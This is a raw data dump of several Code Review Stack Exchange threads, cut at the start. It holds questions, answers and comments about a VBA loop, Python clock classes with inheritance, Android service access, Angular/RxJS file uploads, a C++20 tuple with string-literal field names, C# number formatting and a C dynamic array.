"CreationDate": "2021-03-23T16:49:09.510", "Id": "508762", "Score": "1", "body": "[Best answer](https://stackoverflow.com/a/26409520/6609896) IMO on the topic of Int vs Long (full disclosure, I have made some minor edits to that in the past). Bottom line; memory-wise Integer beats Long, so a large array of Integers is a good idea. **Performance** though is generally about speed - Longs are faster than Integers as they avoid the implicit 32-bit conversion to fit in the hardware registers which is an extra machine instruction. So recommending \"do not use the Long datatype for short numbers\" on the basis of performance could be misleading if we expect performance to be speed." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-23T16:54:02.870", "Id": "508763", "Score": "0", "body": "Either memory-performance or execution-time-performance will be affected negligibly by this, so clarity is much more important. In which case consistency is king, and consistent use of Longs unless an Integer is _really needed_ (see the link for when) is the best way to go I think. I agree with you that Variant is rarely the best choice, as then you might miss type-conversion errors and introduce bugs. The point is I think performance of the different integer holding datatypes is pretty irrelevant in code like this, maybe reword that bit?" } ], "meta_data": { "CommentCount": "3", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-22T20:48:46.213", "Id": "257545", "ParentId": "257510", "Score": "1" } }, { "body": "<p>Without any sample data it is hard to give an exact answer. But I'll give it ago.</p>\n<p>This is the Cycle:</p>\n<ul>\n<li>-55 to -1</li>\n<li>1 to 55</li>\n<li>-55 to -1</li>\n</ul>\n<p>Basically, the Cycle is 3 loops with variable start and end values. We can write this problem with an outer loop of 1 to 3 and an inner loop. The trick is to manipulate the start and end values based on the Op's specifiations.</p>\n<p>You'll notice that the lowest absolute bounds is 1 and the highest absolute bounds is 55 for all three loops. O don't think the their needs to be any clarification for 1 or negative 1 but naming 55 would be be helpful.</p>\n<p>The first thing that I did was replicate the cycle using the loops.</p>\n<pre><code>Const LoopSize As Long = 55\nFor a = 1 To 3\n For b = IIf(a = 2, 1, -LoopSize) To IIf(a = 2, LoopSize, -1)\n \n Next\nNext\n</code></pre>\n<p>Now that I reproduced a full cycle it was time to determine the effect that the other conditions will have on the starting and ending values of the inner loop.</p>\n<blockquote>\n<p>I want to make a loop going from an arbitrary point in this loop to another arbitrary point</p>\n</blockquote>\n<p>So it goes from the first point to an end point then exits. <code>fra</code> is initial starting value. What are the possible starting values for <code>fra</code>? They be any int in the first two loops of the cycle but not the third loop. Because the third loop has the same range of numbers as the first loop, there is no value that would skip to the third loop.</p>\n<p>If A = 3 then Loop B = -55 to 1</p>\n<p><strong>Negative Starting Point (SP)</strong></p>\n<ol>\n<li>If Loop A = 1 Loop B = SP to -1</li>\n<li>If Loop A = 2 then Loop B = 1 to 55</li>\n</ol>\n<p><strong>Positive Starting Point (SP)</strong></p>\n<ol start=\"3\">\n<li>Loop A = 2 to 3</li>\n<li>If Loop A = 2 then Loop B = SP to 55</li>\n</ol>\n<p>For positive initial value, we can still Loop a from 1 to 3 because the positive value we cause the first loop to exit without executing.</p>\n<p>This logic can be simplified using the VBA Switch statement.</p>\n<blockquote>\n<p>Switch(a = 1, initialValue, a = 2, IIf(initialValue &gt; 0, initialValue,\n1), True, -LoopSize)</p>\n</blockquote>\n<h2>Refactored Code</h2>\n<pre><code>Sub Test()\n Fargelegg -55, 10, False\n Fargelegg -25, 10, False\n Fargelegg 5, -15, False\n Fargelegg 25, -25, False\nEnd Sub\n\nSub Fargelegg(fra, til, farge)\n Const LoopSize As Long = 55\n Dim a As Long\n Dim b As Long\n Dim initialValue As Long\n initialValue = fra\n \n Debug.Print String(2, vbNewLine), &quot;fra: &quot;; fra; &quot; til: &quot;; til\n\n For a = 1 To 3\n For fra = Switch(a = 1, initialValue, a = 2, IIf(initialValue &gt; 0, initialValue, 1), True, -55) To IIf(a = 2, LoopSize, -1)\n ' Do Something\n\n Debug.Print fra; &quot;,&quot;;\n If fra = til Then Exit For\n Next\n If fra = til Then Exit For\n Next\n \nEnd Sub\n</code></pre>\n<h2>Results</h2>\n<pre><code> fra: -25 til: 10 \n-25 ,-24 ,-23 ,-22 ,-21 ,-20 ,-19 ,-18 ,-17 ,-16 ,-15 ,-14 ,-13 ,-12 ,-11 ,-10 ,-9 ,-8 ,-7 ,-6 ,-5 ,-4 ,-3 ,-2 ,-1 , 1 , 2 , 3 , 4 , 5 , 6 , 7 , 8 , 9 , 10 ,\n\n fra: 5 til: -15 \n 5 , 6 , 7 , 8 , 9 , 10 , 11 , 12 , 13 , 14 , 15 , 16 , 17 , 18 , 19 , 20 , 21 , 22 , 23 , 24 , 25 , 26 , 27 , 28 , 29 , 30 , 31 , 32 , 33 , 34 , 35 , 36 , 37 , 38 , 39 , 40 , 41 , 42 , 43 , 44 , 45 , 46 , 47 , 48 , 49 , 50 , 51 , 52 , 53 , 54 , 55 ,-55 ,-54 ,-53 ,-52 ,-51 ,-50 ,-49 ,-48 ,-47 ,-46 ,-45 ,-44 ,-43 ,-42 ,-41 ,-40 ,-39 ,-38 ,-37 ,-36 ,-35 ,-34 ,-33 ,-32 ,-31 ,-30 ,-29 ,-28 ,-27 ,-26 ,-25 ,-24 ,-23 ,-22 ,-21 ,-20 ,-19 ,-18 ,-17 ,-16 ,-15 ,\n\n fra: 25 til: -25 \n 25 , 26 , 27 , 28 , 29 , 30 , 31 , 32 , 33 , 34 , 35 , 36 , 37 , 38 , 39 , 40 , 41 , 42 , 43 , 44 , 45 , 46 , 47 , 48 , 49 , 50 , 51 , 52 , 53 , 54 , 55 ,-55 ,-54 ,-53 ,-52 ,-51 ,-50 ,-49 ,-48 ,-47 ,-46 ,-45 ,-44 ,-43 ,-42 ,-41 ,-40 ,-39 ,-38 ,-37 ,-36 ,-35 ,-34 ,-33 ,-32 ,-31 ,-30 ,-29 ,-28 ,-27 ,-26 ,-25 ,\n</code></pre>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-26T13:22:22.017", "Id": "509066", "Score": "0", "body": "Oh, that's a really clever solution! Thanks a lot for your input!" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-26T13:28:43.500", "Id": "509067", "Score": "0", "body": "And I learned about `iif` too, that's a really handy function - I'll have to remember it for the future :-)" } ], "meta_data": { "CommentCount": "2", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-26T11:08:02.177", "Id": "257721", "ParentId": "257510", "Score": "2" } } ]
{ "AcceptedAnswerId": "257518", "CommentCount": "1", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-22T08:56:36.037", "Id": "257510", "Score": "1", "Tags": [ "vba", "iteration" ], "Title": "Is there some way to simplify this loop" }
257510
<p>I have these two classes and they should remain separate classes, but I have a feeling that this could be implemented more efficiently and with less duplicate code. After googling around I still didn't figure a better way, so perhaps someone here could point me out. Ideally I want to get tick() method from Clock and just add alarm to it and also get set_time() method with additional attributes for setting the alarm time.</p> <pre><code>class Clock: def __init__(self, hours, minutes, seconds): self.set_time(hours, minutes, seconds) def set_time(self, hours, minutes, seconds): if hours &lt; 0: self.hours = 0 elif hours &gt; 23: self.hours = 23 else: self.hours = hours if minutes &lt; 0: self.minutes = 0 elif minutes &gt; 59: self.minutes = 59 else: self.minutes = minutes if seconds &lt; 0: self.seconds = 0 elif seconds &gt; 59: self.seconds = 59 else: self.seconds = seconds def tick(self): while True: print(str(self.hours).zfill(2), &quot;:&quot;, str(self.minutes).zfill(2), &quot;:&quot;, str(self.seconds).zfill(2), sep=&quot;&quot;) self.seconds += 1 time.sleep(1) if self.seconds == 60: self.seconds = 0 self.minutes += 1 if self.minutes == 60: self.minutes = 0 self.hours += 1 if self.hours == 24: self.hours = 0 class AlarmClock(Clock): def __init__(self, hours, minutes, seconds, alarm_hr, alarm_min, alarm_sec): super().__init__(hours, minutes, seconds) self.set_alarm(alarm_hr, alarm_min, alarm_sec) def set_alarm(self, alarm_hr, alarm_min, alarm_sec): if alarm_hr &lt; 0: self.alarm_hr = 0 elif alarm_hr &gt; 23: self.alarm_hr = 23 else: self.alarm_hr = alarm_hr if alarm_min &lt; 0: self.alarm_min = 0 elif alarm_min &gt; 59: self.alarm_min = 59 else: self.alarm_min = alarm_min if alarm_sec &lt; 0: self.alarm_sec = 0 elif alarm_sec &gt; 59: self.alarm_sec = 59 else: self.alarm_sec = alarm_sec def alarm(self): while True: print(str(self.hours).zfill(2), &quot;:&quot;, str(self.minutes).zfill(2), &quot;:&quot;, str(self.seconds).zfill(2), sep=&quot;&quot;) self.seconds += 1 time.sleep(1) if self.seconds == 60: self.seconds = 0 self.minutes += 1 if self.minutes == 60: self.minutes = 0 self.hours += 1 if self.hours == 24: self.hours = 0 if self.hours == self.alarm_hr and self.minutes == self.alarm_min and self.seconds == self.alarm_sec: print(&quot;ALARM ALARM ALARM ALARM ALARM!!!!&quot;) break </code></pre>
[]
[ { "body": "<p>I have refactored some of your code, please note that I am ignoring pre-existing libraries since I assume there's a particular reason (educational or otherwise) behind implementing <code>Clock</code>, <code>tick</code>, etc. this way on your own.</p>\n<p><strong>class Clock:</strong></p>\n<pre><code>class Clock:\n def __init__(self, hours: int, minutes: int, seconds: int):\n self.hours = self.normalize_time_in_range(hours, 0, 23)\n self.minutes = self.normalize_time_in_range(minutes, 0, 59)\n self.seconds = self.normalize_time_in_range(seconds, 0, 59)\n\n @staticmethod\n def normalize_time_in_range(value: int, lower_bound: int, upper_bound: int) -&gt; int:\n if value &lt; lower_bound:\n return lower_bound\n elif value &gt; upper_bound:\n return upper_bound\n else:\n return value\n\n def start_ticking(self):\n while True:\n self.tick()\n\n def tick(self):\n print(f&quot;{str(self.hours).zfill(2)}:{str(self.minutes).zfill(2)}:{str(self.seconds).zfill(2)}&quot;)\n self.seconds += 1\n time.sleep(1)\n if self.seconds == 60:\n self.seconds = 0\n self.minutes += 1\n if self.minutes == 60:\n self.minutes = 0\n self.hours += 1\n if self.hours == 24:\n self.hours = 0\n</code></pre>\n<ol>\n<li><strong>normalize_value_in_range:</strong> Notice you have a lot of duplicated logic in <code>set_time</code> and <code>set_alarm</code>. Most of the logic can be extracted to this more generic implementation.</li>\n<li><strong>start_ticking and tick:</strong> In your case I found it useful to seperate the loop from the actual tick logic so you can change the loop conditions in subclasses while reusing <code>tick</code>. You will see why this is useful in <code>AlarmClock</code>.</li>\n<li><strong>Type annotations:</strong> As you can see in the method heads I added some type hints to the newly added methods. This is generally a good idea in regards to documenting your code for yourself and others.</li>\n</ol>\n<p><strong>class AlarmClock:</strong></p>\n<pre><code>class AlarmClock(Clock):\n def __init__(self, hours, minutes, seconds, alarm_hr, alarm_min, alarm_sec):\n super().__init__(hours, minutes, seconds)\n\n self.alarm_hr = self.normalize_value_in_range(alarm_hr, 0, 23)\n self.alarm_min = self.normalize_value_in_range(alarm_min, 0, 59)\n self.alarm_sec = self.normalize_value_in_range(alarm_sec, 0, 59)\n\n self.ticking = False\n\n def start_ticking(self):\n self.ticking = True\n while self.ticking:\n self.tick()\n\n def tick(self):\n super().tick()\n if self.hours == self.alarm_hr and self.minutes == self.alarm_min and self.seconds == self.alarm_sec:\n print(&quot;ALARM ALARM ALARM ALARM ALARM!!!!&quot;)\n self.ticking = False\n</code></pre>\n<ol>\n<li><strong>normalize_value_in_range:</strong> We can now reuse this method to set our alarm time as well.</li>\n<li><strong>start_ticking and tick:</strong> Since we seperated the loop from the actual tick we can use <code>Clock.tick()</code> in our AlarmClock without the need for duplicate code. Adding the attribute <code>self.ticking</code> to <code>AlarmClock</code> allows us to break out of the loop across methods. The reason we could not reuse <code>tick()</code> before was because it contained the infinite <code>while True</code> loop, thereby not allowing us to intercept when the alarm_time is reached.</li>\n</ol>\n<p><strong>class Time:</strong>\nLastly, I would suggest seperating time logic from clock logic. This makes the clocks more concise and allows you to extend the functionality of the <code>Time</code> class as needed. You could also say it allows the clocks to focus on their main functionality. Again, I am ignoring the existence of libraries for this task, since I presume you want to implement the entire logic on your own. Specialized libraries like <code>datetime</code> are worth looking into since they provide a lot of comfortable functionality. One implementation might be the following:</p>\n<pre><code>class Time:\n def __init__(self, hours: int, minutes: int, seconds: int):\n self.hours = self.normalize_value_in_range(hours, 0, 23)\n self.minutes = self.normalize_value_in_range(minutes, 0, 59)\n self.seconds = self.normalize_value_in_range(seconds, 0, 59)\n\n @staticmethod\n def normalize_value_in_range(value: int, lower_bound: int, upper_bound: int) -&gt; int:\n if value &lt; lower_bound:\n return lower_bound\n elif value &gt; upper_bound:\n return upper_bound\n else:\n return value\n\n def increment(self):\n self.seconds += 1\n if self.seconds == 60:\n self.seconds = 0\n self.minutes += 1\n if self.minutes == 60:\n self.minutes = 0\n self.hours += 1\n if self.hours == 24:\n self.hours = 0\n\n def __eq__(self, other):\n return self.hours == other.hours and self.minutes == other.minutes and self.seconds == other.seconds\n\n def __str__(self):\n return f&quot;{str(self.hours).zfill(2)}:{str(self.minutes).zfill(2)}:{str(self.seconds).zfill(2)}&quot;\n\n\nclass Clock:\n def __init__(self, hours: int, minutes: int, seconds: int):\n self.time = Time(hours, minutes, seconds)\n\n def start_ticking(self):\n while True:\n self.tick()\n\n def tick(self):\n print(self.time)\n self.time.increment()\n time.sleep(1)\n\n\nclass AlarmClock(Clock):\n def __init__(self, hours, minutes, seconds, alarm_hr, alarm_min, alarm_sec):\n super().__init__(hours, minutes, seconds)\n self.alarm_time = Time(alarm_hr, alarm_min, alarm_sec)\n\n self.ticking = False\n\n def start_ticking(self):\n self.ticking = True\n while self.ticking:\n self.tick()\n\n def tick(self):\n super().tick()\n if self.time == self.alarm_time:\n print(&quot;ALARM ALARM ALARM ALARM ALARM!!!!&quot;)\n self.ticking = False\n</code></pre>\n", "comments": [], "meta_data": { "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-22T16:59:30.373", "Id": "257535", "ParentId": "257511", "Score": "2" } }, { "body": "<p>Your project provides a good illustration of a general principle in writing\nsoftware: internal data storage (for example, how a Clock class keeps track of\nthe time) and external presentation (for example, how a time should be printed\nfor a user) are two different things.</p>\n<p>Your code can be greatly simplified by storing the data in the most basic\nformat possible: total seconds. Only when needed for the benefit of users do\nyou worry about assembling a time in <code>HH:MM:SS</code> format. If we take this\napproach, you'll need a method to convert hours, minutes, seconds to total\nseconds. And we also need a way to convert the other direction. For brevity,\nI'm ignoring validation here:</p>\n<pre><code>import time\n\nclass Clock:\n\n def __init__(self, hours, minutes, seconds):\n # Just store total seconds.\n self.total_secs = self.hms_to_seconds(hours, minutes, seconds)\n\n def hms_to_seconds(self, hours, minutes, seconds):\n # Simple converter.\n return hours * 3600 + minutes * 60 + seconds\n\n # Properties to retrieve user-facing values when needed.\n\n @property\n def hours(self):\n return self.total_secs // 3600\n\n @property\n def minutes(self):\n return (self.total_secs - (3600 * self.hours)) // 60\n\n @property\n def seconds(self):\n return self.total_secs - 3600 * self.hours - 60 * self.minutes\n\n def tick(self):\n # Make tick do less, so you can re-use it.\n print(f'{self.hours:&gt;02}:{self.minutes:&gt;02}:{self.seconds:&gt;02}')\n self.total_secs += 1\n time.sleep(1)\n\n def run(self):\n # A basic clock just ticks forever.\n while True:\n self.tick()\n\nclass AlarmClock(Clock):\n\n def __init__(self, hours, minutes, seconds, alarm_hr, alarm_min, alarm_sec):\n super().__init__(hours, minutes, seconds)\n self.alarm_secs = self.hms_to_seconds(alarm_hr, alarm_min, alarm_sec)\n\n def run(self):\n # An alarm clock ticks and alarms.\n while True:\n self.tick()\n if self.total_secs &gt;= self.alarm_secs:\n print(&quot;ALARM ALARM ALARM ALARM ALARM!!!!&quot;)\n break\n\nAlarmClock(1, 15, 0, 1, 15, 5).run()\n</code></pre>\n", "comments": [], "meta_data": { "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-23T00:43:12.473", "Id": "257552", "ParentId": "257511", "Score": "2" } } ]
{ "AcceptedAnswerId": "257535", "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-22T09:13:16.460", "Id": "257511", "Score": "3", "Tags": [ "python", "object-oriented", "inheritance" ], "Title": "Alarm clock subclass of a clock" }
257511
<p>This is a question, I'm just not quite sure about: Every Android development tutorial you find, will put all of the code simply into the <code>MainActivity</code> class (or some other class, that inherits from an <code>Activity</code> class).</p> <p>But what if you want to put code into your own classes? How do you best access certain Features?</p> <p>Example for illustration: I have created a <code>NetworkManager</code> class, that should handle all my connections for the app. Now I need for example the <a href="https://developer.android.com/reference/android/net/wifi/WifiManager" rel="nofollow noreferrer">WifiManager</a> in this class. In my <code>MainActivity</code> I would simply get it by using:</p> <pre><code>getSystemService(Context.WIFI_SERVICE) </code></pre> <p>To access it in my custom class - as far as I know, at least - I would need either a reference to my <code>MainActivity</code> or to the feature (in this cases the WifiManager) I need, by passing it into the instantiation. Which is the better way? Are both wrong/right? Passing the main reference around to each class instance of any custom class seems a bit weird to me...</p>
[]
[]
{ "AcceptedAnswerId": null, "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-22T09:14:35.750", "Id": "257512", "Score": "0", "Tags": [ "android" ], "Title": "How does one handle activity stuff in custom classes in Android?" }
257512
<p>I am using angular and rxjs, and I am doing the following :</p> <p>I would like to upload an image to GCP, so I need to generate a signed url, upload the image,and while showing status of all the request.</p> <p>Component =&gt; ask a Service A to upload a file.</p> <pre><code> this.uploadProgress$ = this.uploadHelperService.uploadImage(userId, image); this.subscriptions.add( this.uploadProgress$.subscribe((result) =&gt; { if (result.status !== UploadStatus.SUCCESS) { return; } // Everything worked }) ); </code></pre> <p>Service A =&gt; Just bind an API call to generate a signed URL</p> <pre><code> uploadImage(userId: string, image: File) { const urlGenerator = this.apiService .generateUploadUrl({ userId, filename: image.name, }) .pipe( map((result) =&gt; result.data?.url || ''), catchError((e) =&gt; throwError(e)) ); return this.gcpUploaderService.uploadToGCP(urlGenerator, images[0]); } </code></pre> <p>Service B =&gt; Generate the URL, and upload the file while tracking the progress.</p> <pre><code> uploadToGCP( generator$: Observable&lt;string&gt;, file: File ): Observable&lt;{ url?: string; status: UploadStatus; }&gt; { return new Observable((subscriber) =&gt; { subscriber.next({ status: UploadStatus.INIT, }); generator$.pipe( switchMap((url) =&gt; { subscriber.next({ status: UploadStatus.UPLOADING, }); return this.httpClient .put(url, file, { headers: new HttpHeaders({ 'Content-Type': file.type }), }) .pipe( map(() =&gt; { subscriber.next({ url, status: UploadStatus.SUCCESS, }); subscriber.complete(); }), catchError((e) =&gt; { subscriber.next({ status: UploadStatus.FAILED, }); subscriber.complete(); return throwError(e); }) ); }), catchError((e) =&gt; { subscriber.next({ status: UploadStatus.FAILED, }); subscriber.complete(); return throwError(e); }) ); }); } </code></pre> <p>Now all of this works, but it s junky, and I believe can be improved a lot, specially the last part. But I lack of inspiration today.</p>
[]
[]
{ "AcceptedAnswerId": null, "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-22T10:00:29.583", "Id": "257514", "Score": "0", "Tags": [ "typescript", "angular-2+", "rxjs" ], "Title": "Simplifiy the following flow for upload file status tracking" }
257514
<p>I'd like to show you a type I made while experimenting with literal, non-type template parameters in C++20.</p> <p>The idea is to provide a type that wraps up tuple-like types (std::tuple, std::pair, even std::variant) and provides access to its fields using a string literal. Also, it has to respect the constexpr-ness of the underlying types.</p> <p>The intended usage is the following:</p> <pre class="lang-c++ prettyprint-override"><code>constexpr auto foo = with_names&lt;std::tuple, named&lt;int, &quot;ciao&quot;&gt;, named&lt;float, &quot;hola&quot;&gt;&gt;{ 1, 2.0f }; constexpr auto bar = with_names&lt;std::variant, named&lt;int, &quot;ciao&quot;&gt;, named&lt;float, &quot;hola&quot;&gt;&gt;{ 2.0f }; constexpr auto hola = get&lt;&quot;hola&quot;&gt;(foo); constexpr auto ciao = get&lt;&quot;ciao&quot;&gt;(bar); // Fails because &quot;ciao&quot; is not the active member. constexpr auto var_hola = get&lt;&quot;hola&quot;&gt;(bar); // Succeeds. </code></pre> <p>After battling with a few <a href="https://stackoverflow.com/q/66731338/566849">compiler</a> <a href="https://gcc.gnu.org/bugzilla/show_bug.cgi?id=89565#c4" rel="nofollow noreferrer">bugs</a>, this is the solution I came up with:</p> <pre class="lang-html prettyprint-override"><code>#include &lt;algorithm&gt; // First and foremost, the literal type, that will capture the name string. template&lt;size_t N&gt; struct StringLiteral { constexpr StringLiteral(const char (&amp;str)[N]) { std::copy_n(str, N, value); } char value[N]; }; // This is the type that associates the underlying value type with a given name template &lt;typename T, StringLiteral Name&gt; struct named; // A trait to detect whether all types in a pack are unique. // The algorithm's complexity is O(n²), therefore this is one of the parts that could certainly be improved. template &lt;typename T, typename... Ts&gt; struct are_distinct: std::conjunction&lt; std::negation&lt;std::is_same&lt;T, Ts&gt;&gt;..., are_distinct&lt;Ts...&gt; &gt;{}; template &lt;typename T&gt; struct are_distinct&lt;T&gt;: std::true_type{}; // Introducing the with_names&lt;Seq, ...&gt; type template &lt;template &lt;typename...&gt; typename Seq, typename ...Ts&gt; struct with_names; // And its related trait template &lt;typename T&gt; struct is_with_names: std::false_type{}; template &lt;template &lt;typename...&gt; typename Seq, typename ...Ts, StringLiteral... Names&gt; struct is_with_names&lt;with_names&lt;Seq, named&lt;Ts, Names&gt;...&gt;&gt;: std::true_type{}; // The real meat template &lt;template &lt;typename...&gt; typename Seq, typename ...Ts, StringLiteral... Names&gt; class with_names&lt;Seq, named&lt;Ts, Names&gt;...&gt;: public Seq&lt;Ts...&gt; { // This type is only used to trigger SFINAE within the below functions, so to ensure WithNames is the correct type. // Couldn't directly deal with with_names&lt;&gt; because then perfect forwarding wouldn't be possible (or would it?). struct sfinae{}; // I would have liked this to be a templated lambda within the get() friend function below, alas // MSVC would ICE out about it (see: https://godbolt.org/z/fW4q6Es8h ) template &lt;StringLiteral Name, typename WithNames, size_t... Is&gt; friend constexpr auto impl(WithNames &amp;&amp;wn, const std::index_sequence&lt;Is...&gt; &amp;, std::enable_if_t&lt;is_with_names&lt;std::decay_t&lt;WithNames&gt;&gt;::value, sfinae&gt; = {}) { auto constexpr idx = ((std::is_same_v&lt;named&lt;void, Names&gt;, named&lt;void, Name&gt;&gt;*(Is+1)) + ...); if constexpr (idx &gt; 0) return get&lt;idx-1&gt;(std::forward&lt;WithNames&gt;(wn)); else static_assert(idx &gt; 0, &quot;Name not found&quot;); } public: static_assert((are_distinct&lt;named&lt;void, Names&gt;&gt;::value &amp;&amp; ...), &quot;Names must be unique&quot;); using Seq&lt;Ts...&gt;::Seq; template &lt;StringLiteral Name, typename WithNames&gt; friend constexpr auto get(WithNames &amp;&amp;wn, std::enable_if_t&lt;is_with_names&lt;std::decay_t&lt;WithNames&gt;&gt;::value, sfinae&gt; = {}) { return impl&lt;Name&gt;(std::forward&lt;WithNames&gt;(wn), std::index_sequence_for&lt;Ts...&gt;()); } }; </code></pre> <p>See it working on godbolt: <a href="https://godbolt.org/z/4Ecos35e4" rel="nofollow noreferrer">https://godbolt.org/z/4Ecos35e4</a></p> <p>As mentioned in the code itself, the <code>are_distinct&lt;&gt;</code> algorithm complexity is O(n²), but <a href="https://www.boost.org/doc/libs/1_75_0/libs/mpl/doc/refmanual/unique.html" rel="nofollow noreferrer">boost:mpl::unique&lt;&gt;</a> shows it could be linear.</p> <p>Anything else that could be improved? Would you ever use such a type?</p>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-22T12:15:26.843", "Id": "508653", "Score": "1", "body": "`constexpr StringLiteral(const char (&str)[N]) {` is only taking a non-const ref - limiting it's useful-ness - try `constexpr StringLiteral(const char (& const str)[N]) {` which will happily work with const char[N] and const version." } ]
[]
{ "AcceptedAnswerId": null, "CommentCount": "1", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-22T10:30:52.920", "Id": "257516", "Score": "1", "Tags": [ "c++", "template-meta-programming", "c++20" ], "Title": "\"tuple with named fields\" implementation" }
257516
<p>I have a requirement to format all my string to the format ##.###/##.### Example: If input value is 3/4 then i need to format it to 03.000/04.000 If my input value is 1.4/2.0 then i need to format it to 01.400/02.000 I have tried the below, which is giving the expected output. Can someone suggest is there any direct function or better way to do this.</p> <pre><code>using System; class Test { // Main Method static void Main(string[] args) { String input = &quot;23.3/4.0&quot;; String[] splittedValue = input.Split('/'); Decimal numerator=Convert.ToDecimal(splittedValue[0]); Decimal denominator=Convert.ToDecimal(splittedValue[1]); String format = &quot;00.000&quot;; String test1 = numerator.ToString(format); String test2 = denominator.ToString(format); } } </code></pre>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-22T12:29:27.250", "Id": "508656", "Score": "1", "body": "Welcome to CodeReview. What is the scope of your question? The program or the string formatting pattern?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-22T12:33:37.950", "Id": "508658", "Score": "0", "body": "String formatting pattern" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-22T12:39:07.863", "Id": "508659", "Score": "1", "body": "No, I don't think so there is a shorter / more concise way to convert `1.4` to `01.400`. With `N3` you could add precision like `1.400` but without leading zero. With `PadLeft` you could add leading zero, but now you would have two operations instead of one." } ]
[ { "body": "<p>One way of being more concise is to split the string by <code>'/'</code> and <code>'.'</code>and rebuild the 2 strings with padding. This eliminates 2 conversions and gives the required format:</p>\n<pre><code>static void Main(string[] args) \n{ \n \n var input = &quot;23.3/4.0&quot;;\n var splittedValue = input.Split( '/', '.' );\n var num = FormatFracParts( splittedValue[0], splittedValue[1] );\n var den = FormatFracParts( splittedValue[2], splittedValue[3] );\n \n}\n\nprivate static string FormatFracParts(params string[] parts)\n{\n if(parts.Length != 2)\n {\n throw new ArgumentException( @&quot;'parts' must have exactly 2 elements.&quot; );\n }\n return $&quot;{parts[0].PadLeft(2, '0')}.{parts[1].PadRight(3, '0')}&quot;;\n}\n</code></pre>\n", "comments": [], "meta_data": { "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-22T20:02:22.870", "Id": "257543", "ParentId": "257520", "Score": "1" } } ]
{ "AcceptedAnswerId": "257543", "CommentCount": "3", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-22T12:09:16.933", "Id": "257520", "Score": "-1", "Tags": [ "c#" ], "Title": "Format String to particular format ##.###/##.###" }
257520
<p>I saw quite a few posts about making a dynamic array so I tried making my own for learning purposes.</p> <p>Here it is:</p> <pre><code>#ifndef VECTOR_H #define VECTOR_H #include &lt;stdlib.h&gt; #include &lt;stdbool.h&gt; #include &lt;string.h&gt; #ifndef VECTOR_RESERVE_SIZE #define VECTOR_RESERVE_SIZE 4 #endif //Declaration typedef struct { int size_of_each; int reserved; int used; void* data; } vector_t; bool vector_init(vector_t *, int); void vector_append(vector_t *, void *); void* vector_get(vector_t *, int ); void vector_set(vector_t *, int, void *); void vector_free(vector_t *); //Implementation bool vector_init(vector_t *p, int s) { p-&gt;size_of_each = s; p-&gt;reserved = VECTOR_RESERVE_SIZE; p-&gt;used = 0; p-&gt;data = malloc(VECTOR_RESERVE_SIZE * p-&gt;size_of_each); if (p-&gt;data != NULL) { return false; } else { return true; } } void vector_append(vector_t *p, void *d) { if (p-&gt;used == p-&gt;reserved) { p-&gt;data = realloc(p-&gt;data, VECTOR_RESERVE_SIZE); //printf(&quot;reallocated \n&quot;); p-&gt;reserved += VECTOR_RESERVE_SIZE; } memcpy((void*)((char*)p-&gt;data + p-&gt;size_of_each * p-&gt;used), // copy to back of the vector d, p-&gt;size_of_each); p-&gt;used += 1; } void* vector_get(vector_t *p, int i) { if (!(i &gt; p-&gt;used)) { return (void*)((char*)p-&gt;data + p-&gt;size_of_each * i); } else { return NULL; } } void vector_set(vector_t *p, int i, void *d) { if (!(i &gt; p-&gt;used)) { memcpy((void*)((char*)p-&gt;data + p-&gt;size_of_each * i), d, p-&gt;size_of_each); } } void vector_free(vector_t *p) { free(p-&gt;data); } #endif </code></pre> <p>Here is an example of its usage:</p> <pre><code>#include &lt;stdio.h&gt; #define VECTOR_RESERVE_SIZE 3 #include &quot;vector.h&quot; int main() { int a = 321; int b = 45; int c = 21; int d = 31; int e = 71; vector_t v; vector_init(&amp;v, sizeof (int)); vector_append(&amp;v, &amp;a); vector_append(&amp;v, &amp;b); vector_append(&amp;v, &amp;c); vector_append(&amp;v, &amp;d); vector_append(&amp;v, &amp;e); printf(&quot;1st element is %d \n&quot;, *(int*)vector_get(&amp;v, 0)); printf(&quot;2nd element is %d \n&quot;, *(int*)vector_get(&amp;v, 1)); printf(&quot;3th element is %d \n&quot;, *(int*)vector_get(&amp;v, 2)); printf(&quot;4th element is %d \n&quot;, *(int*)vector_get(&amp;v, 3)); printf(&quot;5th element is %d \n\n&quot;, *(int*)vector_get(&amp;v, 4)); vector_set(&amp;v, 4, &amp;a); printf(&quot;4th element after setting is %d \n\n&quot;, *(int*)vector_get(&amp;v, 4)); //contiguous printf(&quot;size of int is: %d \n&quot;, sizeof (int)); printf(&quot;address of 1st element: %p \n&quot;, vector_get(&amp;v, 0)); printf(&quot;address of 2nd element: %p \n&quot;, vector_get(&amp;v, 1)); printf(&quot;address of 3rd element: %p \n&quot;, vector_get(&amp;v, 2)); printf(&quot;address of 4th element: %p \n&quot;, vector_get(&amp;v, 3)); printf(&quot;address of 5th element: %p \n&quot;, vector_get(&amp;v, 4)); vector_free(&amp;v); } </code></pre> <p>I've written some C++ before and this was one of my first few projects in C.</p> <p>I'd like to know overall how good my code is and whether I'm using good practices / conventions.</p> <p>Edit:</p> <p>this: <code>p-&gt;data = realloc(p-&gt;data, VECTOR_RESERVE_SIZE);</code></p> <p>should be this: <code>p-&gt;data = realloc(p-&gt;data, (p-&gt;reserved + VECTOR_RSERVE_SIZE) * P-&gt;size_of_each); </code></p> <p>Edit: Maybe it's too late but, if people are still reviewing this I would really like to know how does this approach compare to std::vector.</p>
[]
